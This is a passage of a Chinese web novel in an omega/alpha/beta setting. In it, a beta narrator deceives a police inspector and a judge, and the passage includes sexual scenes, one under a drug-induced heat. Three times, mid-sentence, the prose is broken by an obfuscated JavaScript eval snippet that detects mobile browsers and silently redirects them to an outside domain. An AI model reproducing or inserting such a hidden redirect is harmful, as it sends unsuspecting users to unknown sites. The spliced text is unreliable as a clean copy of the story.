呵呵我可太谢谢你了啊,还让我体会审讯室一日游。 不过有了克斯蒂的承诺我确实放了百分之八十的心。毕竟昨晚的工作没有功劳也有苦劳,我的刻板印象让我相信omega上床之后会自动在脑子里绑定相关程序。 第三次坐上审讯室的椅子,我竟然有点想笑。 相比起其他进来一次就被送上处刑台的同事们,我的经验丰富百分之三百,有望达成五连杀。 透的谁要这种东西! 在我思绪崩溃的同时,奥维拉把审讯室的门一关,走过来就对着我的脸狠狠甩了一个巴掌! “啪!”的一声脆响,我的脑袋就歪到另一边去了。 奥维拉神经质地拽住我的衣领,几乎与我脸贴脸,眼眶通红又带着可怕的恶毒,“白无用,你是觉得我好愚弄?” 对啊,那不然呢? 但我不能真这么说。 至于怎么说,你给我几秒钟的时间编一下。 18.第 18 章 “白无用!” 眼看巴掌又要落下来了,我干脆双眼一闭,“你既然从来都不相信我,又为什么总是要质问我!” 巴掌停在我面颊前堪堪一厘米。 奥维拉双目赤红,在我的注视下竟然隐约泛起雾气。 等一下!这神经病到底什么意思? 我的心脏砰砰直跳,直觉奥维拉的状态不对经。 他好像不是真的要我死,而是想要借题发挥。 “奥维拉,你想从我这里得到什么?”我问道,“如果是昨天晚上的事情……我不想多说。” 奥维拉冷笑,“所以你和克斯蒂说?” “奥维拉,我能想到的就是他。” “他能给你带来什么?”奥维拉的怒火再一次被点燃,“他的身子很好用?舔得很舒服对吗?” 原来你在乎的是这个啊,那好办啊。 我怦怦乱跳的小心脏回归平静,表面装作纠结为难的样子侧脸躲开他的视线,“奥维拉,我们没有这么做。他只是出于朋友的关系帮我而已。” “哈!朋友,朋友他会为你处理尸体吗?” “你心中早就有认定的答案,又为什么要来质问我?”我反客为主,“你从来没有相信过我,我只是有一点点自己的交际和生活,你就会疯了一样地纠缠我!” “奥维拉,难道玩弄我的感情很好玩吗?为什么你不去找其他人,而是找我?我到底有什么值得你玩弄?” 我的双手被镣铐锁着没法动弹,我就悄悄地垫高屁股与他逼近。 看我都那么努力扮演苦情角色了,你也给我自觉一点。 红发的beta男性则是完全呆滞一动不动,黑色的眼眸在昏暗漆黑的环境下似乎蒙上了一层雾气,某种粘稠的物质呼之欲出。 我拧着眉,痛苦又深情凝望他,“奥维拉,你爱我,对吗?” 奥维拉的大脑一片浑浊,像是一团粘稠挤压在一起的毛线球。 爱?他爱白无用吗? 这好像合情合理? 他是beta,白无用也是beta。两人不是受到信息素控制的动物,也不被a和o看得起,于是两人的感情合情合理。 大学时期的奥维拉在绝望时真以为有alpha看上自己,事后才明白自己就是个被o骗婚的蠢货。 可现在呢? 白无用就是个beta! “哈哈哈哈!”奥维拉的嘴角扯开弧度,然后越来越大。 下一秒,他低头就咬住了beta女性的嘴,发狠地要把里面的舌头吸吮出来。 舌头要断了! 我身子往后倒,奥维拉的两条手臂就缠上来,像是恨不得绞死我的藤蔓生物。 “奥维拉!” 我忍无可忍,一脑门把他磕开! 他闷哼一声,总算把我放开。 嘴唇红润的他笑脸盈盈,手指亲昵摩挲我的眼角,“无用,你真的很可爱。” 得了得了,我知道了。 我很想翻白眼,但我忍住了。 “奥维拉,你到底想怎么样?”我问他。 奥维拉坐在审讯椅子的小桌子上,一条腿翘起来晃荡。我视线下滑,还能瞧见他鞋底的红色。 温热的气息喷洒到我的脖颈处,奥维拉黏糊糊地贴着我,“无用,你告诉我,那具尸体怎么回事?” 我把脸别过去。 他又把我的脸转回来,“无用,我谁也不告诉,就只有我和你……克斯蒂不算。你有和克斯蒂说吗?” 我沉默许久,终于呐呐开口,“没有,我没告诉他真相。你和他关系不好,而且你和莱文最近的关系也紧张,我怕……” “你怕什么?” 我又不说话了。 奥维拉解开了束缚我双手的镣铐,然后蹲下来,一只手摸到我的大腿上,“你告诉我,无用,我会听的。” 别催,我在编呢。 眼睁睁看着奥维拉的舌头触碰到了我的裤子绑带,我的大脑飞速旋转。 向奥维拉坦白肯定是不行的,但得要有点合适的理由。 看他这个样子应该是会包庇我的意思。 身下的beta男性咬住了细带微微往后昂,细白的绳子随着他的动作缓慢解开。 这个角度选得很好,我可以清晰看见他的脖子。 纤细又脆弱,手感很好。 绳子快松开时,我按住了奥维拉的头,声音沙哑,“别动了,奥维拉,我告诉你。” 奥维拉的眼眸眯起来,眉毛上挑出得意的弧度,“你只对我说吗?克斯蒂那个贱种知道吗?” “奥维拉……别这样说。”我装作为难,“我不喜欢辱骂别人。” 我把他从地上拉起来,“克斯蒂确实不知道。袭击我的人是我的邻居,我告诉克斯蒂我们从前有过争执,也许是他心怀不甘就想要杀我。” “所以呢?”奥维拉主动坐进我的怀里,“你快说。” “他……”我深呼吸一口气,眼眸深邃与他对视,“他爱慕你。” 出乎预料的答案让奥维拉一愣,“什么?” “他爱慕你。21日那天他亲眼看见我带你回家。我住的地方隔音不好,他又总是爱趴在墙上偷听,所以就听见了。”我难以启齿,“我从前只以为是他无聊生活的习惯而已,只要不伤害我,就没想要阻止他。” “可是我没想到他那天晚上会听见,然后为了你要杀我。” 对,就是这样。 反正我俩打架的时候在屋子里,我怎么说你怎么信就行了,别再满嘴叭叭叭。 “所以你杀了他?”奥维拉的声音变调,“你为我杀了他!” “是!”我愧疚难当,“你和莱文最近的关系敏感,他是上行城的大法官,如果知道了这个爱慕者一定会将其当做你婚外情的证据让你净身出户。你本来就被迫进入这段婚姻的,我不希望你被净身出户。” “你已经足够委屈了,奥维拉,我不想看见……” 奥维拉的眼角越发绯红,嘴角裂开的弧度也越来越神经质。 像是某种被彻底打开的盒子,里面的情绪延绵不断地往外倾泻。 他几乎是执拗地捧起我的脸疯狂索吻,“无用,无用,你真可爱,你真是太可爱了。” “你还爱我,你为了我去杀人,你真爱我。” “不,奥维拉,我没有……” 奥维拉发癫发够了,才心满意足地抚摸我的面颊,一字一句温柔呢喃,“无用,我不会捉弄你了,我不舍得。你真可爱。” “你想去克亚区吗?我会想办法让他乖乖离婚,我不会净身出户的。” 哇哦,这人打算干什么? 我躁动的小心脏又开始扑通扑通跳起来。 我真是一个容易小鹿乱撞的人,毕竟钱和权太诱人了。 不过我不太抱有希望。奥维拉显然不知道莱文来到贫民窟的真正目的,估计只以为对方是想要捉奸。 话说莱文是怎么调查的?21日作为叛乱宣讲的开端,莱文怎么也要好好调查清楚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816212|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此想着,我一边应付黏糊糊的奥维拉,一边思索该怎么合理地搭上莱文这条线。 “奥维拉,西区还有哪些地方有监控?”我问他。 beta男性的双腿缠绕我的腰,听到我的询问后抬起黑色眼眸。 “没有了。”奥维拉笑道,“只在那一块有,23日才装上去。” 我听到后哽住,然后小心翼翼问:“25日那天……” “我看见了。”他的唇贴上我的肩膀,开开合合留下一个个红痕,“你出来的时候,我看见了你手中的盒子。” 我赶忙咬住他让他闭嘴。 还好我多问了一句,不然下次不好狡辩了! 应该是拍摄角度的问题,奥维拉没有看见那个alpha男的形象就误以为对方是给我卖盒子的走私犯。 这很好,那就继续误会下去,下次就算碰见也有理由了。 从审讯室出来后,我感觉我的手要得腱鞘炎了。 没办法,矿工是这样的,腱鞘炎是职业病,改不了。 我没打算在警察局逗留太久,可奥维拉拽着我不让我走。 “克斯蒂现在正忙着应付家族呢。”神态餍足的奥维拉靠着办公室的办公椅上晃腿,“本来他毕业就该嫁人了,可他偏偏想要在外面多待一会。” “是联姻吗?”我问。 奥维拉笑了笑,“当然,对方的家族从事食品行业,如果和克斯蒂的家族联姻,就能有长期稳定的合作了。” 食品和运输,那确实很稳定了。 我暗自咂舌。 昨天还耳鬓厮磨呢,今天人就要考虑回去嫁人了,上流社会果然矛盾。 在办公室没有待太久,我听到了新的消息。 莱文要来警察局了,说是有什么事情要和奥维拉单独聊聊。 我待在办公室内没动,翻出书架上的书读。 可里面都是一些我从没接触过的高深理论知识,我多看一眼就头晕脑胀。 吃力啃着书的我用余光看见莱文进入办公室,手里还拿着一个让人眼熟的盒子。 我太久没看见这个盒子了,躲在书后面观察好几秒,才大惊失色! 我透!这盒子就是所谓的“定情信物”啊! 莱文冷着脸命令人关闭办公室的门,然后把盒子往奥维拉的办公桌上一摔,“奥维拉,在你壁炉下找到的,你最好解释清楚。” 奥维拉随意瞥一眼,就收回视线,“就不能是我随手买的东西吗?” 莱文冷笑,视线一扫发现躲在角落里假装看书的我,而后眉头一皱,“白无用,你为什么会在这里?” 我:“……” 我是来偷情的哈哈哈。 “我来问一问书本上的问题。”我把书本往他面前摊开,目光诚恳真挚,“我第一次读这种书,想着奥维拉应该知道。” 莱文往那一看,《微表情操纵理论》。 “你学这个干嘛?” 我轻咳一声,“觉得很有用。” 虽然我已经深谙花言巧语和演技的办法,观察领导的微表情也锻炼得炉火纯青。但学无止境,谁知道我后续会遇到什么高段位海王呢?总得提前预习一下。 只不过这本书里的专业名词太多,我看不懂。 “……你出去,我和奥维拉有事。”莱文的嘴角抽了抽。 “我不能听吗?我难道不是你们的朋友吗?”我目光炯炯。 我要是出去了怎么知道你们在聊什么?万一聊着聊着我人就死了呢? 19.第 19 章 我就站在两人的面前,左眼写着真诚,右眼写着单纯,像是根本不知道这对法定配偶之间的波云诡谲。 哪怕我就是让两人矛盾爆发的导火索。 莱文长久注视我,唇角竟然上扬起一抹嘲弄的弧度,“你确实应该留下来,毕竟这件事和你也有管。” 经过他这么一笑,我之前被随意丢到犄角旮旯的记忆突然就跟诈尸一样窜出来! 等等!27日那天我就是当着他的面把盒子交出去的! 这么说来我的嫌疑确实直线上升。 该死!莱文为什么要长脑子啊!他就不能是和奥维拉一样的傻缺或神经病吗? 我长教训了,我就不该和大法官玩心眼子。这些上行城位高权重的天龙人最爱玩心眼子了,我这个初出茅庐的小牛马怎么玩得过他们啊! 不对现在不是忏悔的时候,现在应该好好想想怎么同时隐瞒奥维拉和莱文两个人! “白无用,那天你交出去的盒子和今天我在壁炉里找到的盒子一模一样,你有什么好狡辩的吗?”莱文的表情充满压迫感。 他的白色手套按压在盒子上,一个是深色,一个是白色。 站在办公桌后面的奥维拉目光阴森森隐晦注视莱文,上半身都隐藏在阴影里。 我还在旁边看见他的手正蠢蠢欲动地摸索桌面下方。 这人想要干什么! 枪杀大法官是想要大家一起去死吗?就算要杀也别大白天动手啊,贫民窟哪个地方不适合杀人抛尸非得选在警察局? 我的舌尖疯狂分泌唾液,喉咙吞下一口又一口的唾沫。 在奥维拉即将把枪拿出来的前一秒,我立刻开口制止了莱文的动作,“莱文,我承认这两个盒子都是我买的!” “是!当初送到海边的盒子是我,送给奥维拉盒子的人也是我!可这一切和奥维拉没有关系,他根本不知道我买盒子的事情!实际上他以为这是叛乱党的证据!” 莱文的步伐停顿,奥维拉拿枪的动作停止。 我的手指在发抖。 刚刚那本书里讲了什么东西? 你们这群该死的天龙人下次不许再创造那么多乱七八糟的专业名词! “我很感激奥维拉。”我抖着唇,目光里掺杂了痛苦迷茫无助等多种可怜老实人才会有的情绪,“这两个盒子是我从走私犯手中买来的。他说这些都是瑕疵品,工厂的老板本来就打算处理。我正好需要这两个盒子,于是我买了。” “呵,你就这样相信了?”莱文讥讽更甚。 奥维拉的表情却没有放松。 他比刚才更完全地藏匿入阴影里。 我当然知道奥维拉紧张的原因。 毕竟在他的眼里我就是个不擅长说谎的老实人,我一句话就能把关系爆出来。 “是,我相信了。”我颓唐又迷茫,“我真的很笨,我不知道怎么辨别他人的谎言和实话,于是每次只能无脑地相信他们。我也不知道该怎么撒谎,我只能如实告诉你。” 佩戴金丝眼镜的男青年显然愣了一下,一时间被我的愚蠢震惊了足足三秒。 他退回到原来的位置,甚至是更远,找了沙发坐下来。 “你确实很愚蠢。”他出言嘲讽。 那可太好了,你最好永远这样认为。 这样以后我真的捅你第一刀也不会怀疑到我的身上了。 我将疯狂跳动的心脏按压回去,继续保持我的人设,“莱文,如果你想要以走私的罪名逮捕我,我无话可说。但作为你和奥维拉的朋友,我对你们说心里话,你们只是感情不和,实际上你们都是很好的人。” 奥维拉突兀地发出一声轻笑,“无用,你嘴笨的时候总是容易说出些让人开心的话。” 我暗自翻白眼。要是真嘴笨,我见你第一面就被你崩了脑袋。 “别这样,奥维拉,我不是多么聪明的人,你们能真心接纳我,反而让我感到高兴。”我勉强扯开一个笑容,扭头对莱文继续说:“莱文,奥维拉是很称职的警督。他没有放过任何可能是叛乱党的证据。” “……”莱文微微昂首,比天鹅还傲慢的脖子在光线的映衬下白得发光。 他说:“我还可以以叛乱党的罪名逮捕你。” 我的小脸“唰”一下就白了,张皇失措为自己辩解,“莱文,你说什么?我是无辜的,请你相信我!” “这种盒子真的很重要吗?我是在无意间犯下了什么大错吗?” “21日那天,他们运送关键物品用到的容器,就是这种盒子。”莱文没有隐瞒,直接地关键说出来。 我脑子一懵。 现在我可没有装啊,我是真的懵。 什么叫21日运送关键物品?盒子不是27日当着你的面送出去的吗? 不是,这里面又有什么我不知道的东西啊!昂撒你个无机物到底要搞什么! 崩溃的尖叫在我脑子里转了一圈,我疑惑询问:“21日不是叛乱宣讲吗?” 莱文又不说话了,对我问出另一个致命问题,“无用,你在盒子里装了什么?” “……信。”我开口。 “很重要的信。如果你不相信,现在就可以打开来看看。” 莱文上下打量我一眼,眉眼突然压低,“我对那些东西没兴趣。” “你只要告诉我那个走私犯长什么样子就行。” “我不知道,对不起。”我惭愧低头,“我见了他三次面,每一次他都把自己包裹的严严实实。当初我以为他担心被人看见脸,然后被工厂开除。现在回想起来,原来他和叛乱党有关系。第三次见面就是25日,他在西区威胁了我。” “他威胁你什么?” “如果我把盒子的事情透露出去,就会杀了我。”我老老实实回答。 我没说错啊,那个劲劲的alpha男就是这样威胁我的啊。 他还拿枪捅我吃饭的家伙,这谁能忍啊!以后要是再见面我真的会找机会捅他的!真的! “莱文,你听见了,无用她只是太容易相信别人。”奥维拉完全放松从阴影中出来,懒洋洋地用手支撑下巴看着我,“别用你那讨厌的思想胡乱揣测,如果她真的有问题,我在21日当天就会送她上处刑台。” 莱文不再问话,目光沉沉地聚焦在桌面的盒子上。 他可能还在思考我话语中的真实性,在我是否自导自演的可能上疯狂寻找证据。 呐呐呐,我再说一遍,我真的不喜欢和脑子聪明的天龙人打交道。 和我一样的底层小牛马可能会顾及我的公民身份不敢光明正大动手,而天龙阶级的聪明人就不一样了。他们有无底线的试错成本,可以肆意地实践思考出来的东西。哪怕真的误会了什么,也不会真心实意地道歉。 “我后续还会继续调查。”莱文放下一句话,就站起身准备离开办公室。 我原本攥紧书本的手终于松开,发现书页已经被手心的汗水染透了,变得皱巴巴不再光滑。 等莱文把办公室的门一关,奥维拉就开始发笑。 “无用,那个邻居又把你骗了。” 我眨眨眼,用无措仿佛孩子的目光看他。 奥维拉笑道,“他就是个叛乱党,知道我从你的屋内找到盒子,于是想要杀你灭口。” 我沉默,然后给他传递了一个复杂的眼神。 虽然推理的过程很崎岖,但好在把我想传递的答案猜出来了。 “我需要回去冷静一下,奥维拉。”我有气无力说道,“不用管我,我只是比较……难过而已。” 不等奥维拉反应,我就快速地离开办公室。 快快快,我要赶趟去追莱文! 来到警察局门口,我正好赶上莱文准备上车的动作。 “莱文!” 莱文的动作停顿,原本弯着的腰重新挺直。 我快步来到他面前,又是犹豫又是抽搐,低声说:“你,如果有什么要帮忙的地方,可以告诉我。” “你能帮我什么?抓住奥维拉的情人么?”莱文还是一副死样。 我急得嘴唇干涩,语无伦次,“莱文,我不是这意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823720|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好吧,如果我有能力……不,我是说我有点不知好歹,但我真的想帮你。” 说到此处,我沉默片刻,而后沙哑开口:“莱文,我做不到,你和奥维拉都是我的朋友,看见你们闹到这个程度,我比谁都愧疚难过。我没法在你们两人之间拉扯,但我总想着得帮助你。” 莱文从鼻腔呼出一股气息,嘴唇抿起来。 “抱歉,我很笨,我只能用我的脑子拼命思考该怎么帮你。”我仔细观察他的微表情。 很好,嘴角上扬了。 我再接再厉,主动爆瓜,“莱文,你来到贫民窟,不仅仅是为了找到奥维拉的情人,对吗?” 此言一出,周围的空气凝固。 “你刚刚说了,21日运送某种东西的容器。”我语气慌乱又急促,“你是日理万机的大法官,如果只是为了寻找奥维拉的情人没必要大费周章地过来。你不是那些满脑子情爱的人,你有大局观。莱文,你是为了抓住叛乱党的首领才来的。” 又是长久的沉默后,莱文首先让开一步,对我说:“上车吧。” 我立刻双眼放光惊喜十足,“莱文!谢谢你信任我!” 总算是可以再坐这种舒服的轿车了! 车内的设施还是那么奢华,香水也一如既往令人迷醉。 我的手指缝悄悄去抠车座与车门之间的缝隙,企图趁人不注意从中抠出点值钱的东西。 莱文就坐在我的左手边,双腿交叠,戴着白色手套的手掌自然放在膝盖上。 西装裤也因为这个动作绷直,隐约露出里面的衬衫夹。 我没往那处看。 “莱文,你愿意告诉我吗?如果你不愿意那就算了,我知道这是你的机密,我只是个普通人,你能信任我就已经让我很高兴了。” “蠢货。”莱文嗤笑。 我:“……” 够了你这个狗东西,小心以后我捅死你。 将我复杂的表情收入眼底,莱文的总算没那么刻薄了。 “你没想错,我来这里只是为了找到叛乱党首领。21日的动静太大了,我需要亲自过来找到他,最好把他带回上行城。” “你知道他长什么样吗?”我问。 然而莱文的面部肌肉突然紧绷了一下,眼眸里在短短的瞬间闪烁的是刻骨如毒蛇的怨恨。意识到我就在他身边后,他又飞快隐藏好。 他说:“知道,但他隐藏得很好,当初所有人都以为他死了。直到21日,我才知道他原来没死,七年的时间里始终藏匿在贫民窟中。” 很好,昂撒果然是叛乱宣讲组织的首领。 我莫名觉得很好笑,甚至想要吹口哨。 白无用你可真厉害,还有谁能得罪叛乱党首领后安然无恙活了七年?谁又能够让首领下死命令追杀? 虽然听上去惨兮兮的,但很有牌面啊! ……好了不要再自我安慰了,这种苦中作乐的精神太可怜了。 思索间,轿车朝着高级公寓的方向行驶。 然而异变突生,整个车子狠狠颠簸了了一下,将车内的人差点创到车顶上去! 我立刻护住莱文将他保护在身下,然后小心眼地趁他不注意给了他后脑勺一拳。 哎嘿!真爽! 莱文吃痛,倒在我怀里后痛苦捂住后脑勺。 “你的脑袋没事吧?”我满脸焦急抚摸他被我打过的地方,“撞到车顶上了。抱歉,我下次会更快点的。” “暂时没事。”莱文吸着凉气企图坐起来。 可事情还没完。 外面的人猛地用枪把车窗击穿,然后往车里丢了个奇怪的东西。 莱文见到这东西的第一眼,呼吸骤然急促,几乎是下意识地想要把东西丢出去! “这是什么?”我焦急问道。 不过短短的时间,怀中的omega就满脸通红,额头冒汗。 他从牙缝里挤出几个字,“是……诱发剂。” ……哇!带感。 我太想吹口哨了。 昂撒,你干的漂亮! 20.第 20 章 怀中的omega开始发热,呼吸间洒落在我大腿上的气息染上了潮湿和滚烫。我与他那么近距离接触,我才知道原来他的头发不是完全的黑,而是一种乌鸦尾羽的黑,在发梢出透出一点异色的光泽。 不愧是omega。 “诱发剂……丢出去。”莱文气喘吁吁挣扎说道。 他现在没法动弹,就只能指挥我。 身为beta的我和司机都没有受到影响。 我忍不住思考,昂撒到底是什么意思。他不想杀掉莱文,只想要把莱文的omega身份暴露出去?这有什么作用,莱文本来就是秘密来到贫民窟,除了心腹之外无人知晓啊。 这些都来不及思考了,我抓起诱发剂就要往窗外丢。 “哗啦!” 子弹击穿了司机的太阳穴。 司机的脑袋啪叽一下摔到方向盘上,立刻发出好大的噪音! 我先是大脑空白三秒,然后发出无声的爆鸣! 好端端的你杀人就杀人,为什么要杀司机啊! 不对车子里只有三人,要是莱文死了我会被当替罪羊去死,我死也肯定不行……那还是司机死掉吧。 可我不会开车啊! “喂!喂!”我从后座位往前钻把握住方向盘,“司机死了,莱文你快想想办法!” 莱文压根没空搭理我,光是抑制呼吸就够他喝一壶了。 他在我的挤压下面颊贴住我的小腹,几乎烧起来。 “别,别去公寓。”他艰难从牙缝中挤出来几个字,手指抓进了我腰侧的衣服,甚至要抓进肉里。 “莱文,我觉得你现在应该告诉我怎么开车。”我语速极快说道。 我这次要是不出车祸能安然无恙回去,我一定要放火烧了图书馆! 破图书馆全都是些没用的心灵毒鸡汤,却连一本驾车指南都没有! 轿车开始左摇右摆,在贫民窟内横冲直撞。 我想挪到前面去,可莱文像是一只挣扎的青蛙死死扒住我的衣服不让我动。 透你爹的我忍不了了! 我一拳就甩在这omega的腰侧上。 莱文吃痛,松开我的腰。 “莱文!你给我冷静点!你不是那种随便被控制的omega,我相信你!” 看着身下眼神恢复些许清明的omega,我小小松一口气,同时心底生出一股高高在上的庆幸。 好在我是beta,不是这种会被信息素控制的动物。 见他终于没有扒拉我,我动身往前钻进了驾驶座,绞尽脑汁思考我为数不多坐车记忆里开车的画面。 挂挡?离合?方向盘操作? 骑自行车的一百种方法我手拿把掐,但轿车的直线行驶我大脑空白。 推开死掉的司机,我用力咬住口腔内壁,让疼痛提醒自己保持冷静,同时开始尝试驾驶车辆。 “砰!”一颗子弹擦着我的额头撒过去! “我透你大爷的!”我懒得管人设不人设了,现在保住小命最重要! 现在哪里最安全?当然是过渡区! 那里有军队驻扎,昂撒在怎么胆肥也不可能去挑衅军队。 吃力地在崎岖路面上来一个蛇形走位,我努力躲避子弹,一边开往过渡区。 视线内终于出现了过渡区的高达围墙,我凭着经验一脚踩下油门冲过去! 子弹终于没有了。 我这才缓慢地停下车。 后座的莱文完全失去了意识,衣衫凌乱地躺在那挪动。 刚刚经历生死劫,我是半点旖旎的心思都没有,只觉得挪动的omega更像青蛙了。 好吧好吧,我很不解风情,实际上此时的莱文很秀色可餐。 远处的军人注意到这里的情况,立刻手持枪械走过来查看。 我的大脑放空一秒后及时反应过来,立刻下车对军人做了个停止的手势。 “怎么了?”高大的alpha军人靠近了就是一股烟味。 我面带真诚的笑意,说:“我们半路遇到袭击,有人往车里丢了诱发剂。请给我的老板准备一间密闭的屋子,然后送抑制剂过来。” “可以。”军人了然。 很快,军人就把抑制剂拿过来了。 出于谨慎,我借口老板脾气大不喜欢人靠近,于是让军人指了方向,就开车带莱文过去了。 车子此时已经破破烂烂,来到房间外彻底报废。 我确认军人已经走远,才打开后车门把莱文扛出来。 两人的皮肤一开始接触,莱文就像是条蛇一样缠上来。 被诱发易感期的alpha很暴躁,攻击性和欲望都会大大增强。当初我把alpha压制下去就耗费了很大的力气。 可易感期的omega却是另外一种形式的难缠,像是条急需□□的蛇形生物,紧紧缠绕我的脖子恨不得让两人缠起来。 我忍不住又给了他肚子一拳。 “唔!”莱文闷叫一声,竟然抓起我的手放到唇边用牙齿轻咬和舔舐。 我头皮发麻,“嘶——” 抓紧时间把人丢进房间里,然后锁门开灯。 只是一个临时的房间,但屋内的设施完全。 过渡区有很多alpha,无法及时注射抑制剂也没有条件去找omega的就只能来这自行解决。 当然,这里的设施齐全是对我而言。对莱文这个身娇肉贵的天龙人来说还是太简陋了。 目前为止我觉得我的本意是好的。毕竟真搞起来我的麻烦很大。 克斯蒂还没离开贫民窟呢,信息素这种东西看不见摸不着,我一旦疏忽被两个omega之一察觉到问题,我会死得很快。 所以我现在是真想帮忙!我想做好人! 撕开抑制剂的包装,我努力去熟悉上面陌生的专业名词。 看到上面“alpha抑制剂”的名词,我心情复杂地扯了一下嘴角。 呵呵,早该知道的。到处都是alpha的地方抑制剂肯定也是alpha专用的。 “无用,无用……”莱文神志不清地继续攀上来,不断地往我的嘴边送他的脖子。 原本牢牢挂在鼻梁上的金丝眼镜变得松松垮垮,歪到了一边去。 那总是刻薄的黑色眼睛被水雾替代,红色的潮水上涌至他的面颊,让他像是从水里钻出来的水蛇。 “标记我……”他按住我的后脑勺往自己的脖颈边送,“标记我,无用。” 那肯定是不行啊,而且我也不会。 “莱文,你冷静冷静。”我和他拉开距离,“你要对自己负责。” “标记我!”莱文终于崩溃了,直接昂起上半身就吻过来。 这可是你说的啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838633|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我提醒过你很多次了哦。 谁让我是个绅士呢,对于可怜人的请求总是无法拒绝。我还是个为朋友着想的大好人,对朋友见死不救,我做不到。 标记肯定是不能标记的,但我擅长安抚。 只要在其他方面弥补上,就算是alpha也能平静下来。 omega的金丝眼镜完全脱落下来,摇摇欲坠贴合住前胸的肌肤。 汗水从他的发梢坠落,也跟着落在眼镜框上。 我重新给他戴上,可没多久又掉下来。 一条腿不知不觉得攀爬上我的肩膀,有些妨碍我的手工活,我就把腿打下去顺便压住。 不知道昂撒从哪弄来的诱发剂,想也知道是非法的玩意而且质量很差,恐怕只有低廉和持久性长这两个优点了。 “唔——”莱文从喉间发出一声拉长的轻吟,几乎是下意识地拉住我的手腕,然后紧绷着一动不动了。 在这期间,我发现此人身上除了脸外到处都是巴掌印。尤其是大腿,都被鲜红的巴掌印覆盖了。 这可不怪我啊,这人老缠了,要是不防着点我会被他勒到窒息。 莱文面对这我仰躺着,视线注视上方的挂灯。 挂灯没什么好看的,就是很简陋的一个球形,看久了还晃眼睛。他还是个近视眼加散光,看着更晃眼了。 可他就是这样静静地躺着,一动不动。 我则在房间内的洗手池里打了点凉水,给他擦巴掌印。 “抱歉,莱文。”我说道,“你很痛苦,我不得不这样做。不过你不用担心,我没有标记你。” “我原本想要给你使用抑制剂,但我发现那是alpha专用的,给你用会有很大的副作用。我不敢赌,我怕你出事。这里到处都是alpha,我都不敢想你要是出事了他们会做出什么。” 莱文终于有了反应。 他坐起来,按住我擦拭的手,然后托起我的脸就开始细细密密地吻。 这会不像水蛇了,像某种彻底攀附上墙面的藤蔓。 我没反抗,就任由他动作,做足了木讷笨拙的姿态。 “你有和简这样亲吻过吗?”把我整张脸吻遍了,他最终停在了我的下唇。 哦,我想起来了,我在莱文面前的人设是疑似克斯蒂的小白脸。 “他……”我踌躇好一会,才说:“莱文,我和克斯蒂没有这样过。” 我没有和易感期的克斯蒂搞过,我说的是真话。 莱文的视线往上,直直地和我对视上。 如此近距离,一点点的微表情都会被无限放大,然后被这个上行城的法官抓住谎言的痕迹。 我则是满心满眼真诚地看着他,在注视久了后就笨拙地侧过头,“莱文,我……” “做我的情人。”莱文语出惊人。 什么?那我成什么了? 你们贫民窟天龙三人组的等边三角形内心? 我一下子就把人推开了,眼底写满自尊心被践踏的屈辱和愤怒,“你把我当什么了!你以为我这样做是为了离间你和奥维拉吗?” 知不知道同时做三个人的情人,其中两个还是对信息素敏感的omega到底要花费多少心眼子?到现在为止我都还只是一个货运分公司的经理而已! 说好给我去克亚区的大饼都还没吃到嘴呢! 所以得加钱! 21.第 21 章 omega男性在此之前根本就没有被拒绝的设想。 天龙人嘛,我理解。我不给你就不能要,我给了你就必须感恩戴德接受,不然就吃阶级制度大巴掌。 但就是不行! 我的原则就是给钱,你饼子都还没给我呢就迫不及待要把我劳动成果吃了,我上哪申诉去? “你在拒绝我?”莱文脸色铁青,熟悉的恶毒眼神再一次攀上我的小腿,似乎下一秒就要露出尖牙咬死我。 “是!我就是在拒绝你!”我义正言辞,反而比他还恼火,随时都要撞墙自证清白似的。 “你先告诉我,你把我当什么了?你以为我这样做就是为了当你的情人,就是为了挑拨离间你和奥维拉的关系?然后我就可以顺理成章地跟着你一起回上行城享受生活?” 虽然我确实有这样想过,但你就是不能想! 莱文被我火冒三丈的模样小小吓了一跳,“白无用!我是在给你补偿!” “什么是补偿?你又没有做错什么,我也没有做错什么,错的是那个害你易感期提前的叛乱党。”我的胸膛剧烈起伏,甚至伸出手指着他的鼻子,表情那叫一个人品被污蔑后的愤怒以及被朋友不信任的痛苦。 “我之所以那样做,完全是因为我知道你是无辜的,你是我的朋友,我不忍心看见你遭受痛苦。你已经很不容易了,难道还要在这个时候强迫你挺过去吗?” “可你呢?你不信任我的人品,你还觉得情人的身份能让我兴高采烈地接收。我告诉你,莱文,我不稀罕!” omega男性在我接连不断的话语下陷入了短时间的情绪空白,瞪着眼睛只能直愣愣盯着我的眼睛。 我不知道此时此刻在他眼里我是什么形象,但是不管了,骂了再说。 “但凡我是个破坏他人婚姻的坏人,早在克斯蒂来到贫民窟的时候就迫不及待地引诱他了,哪里需要等你出现?” 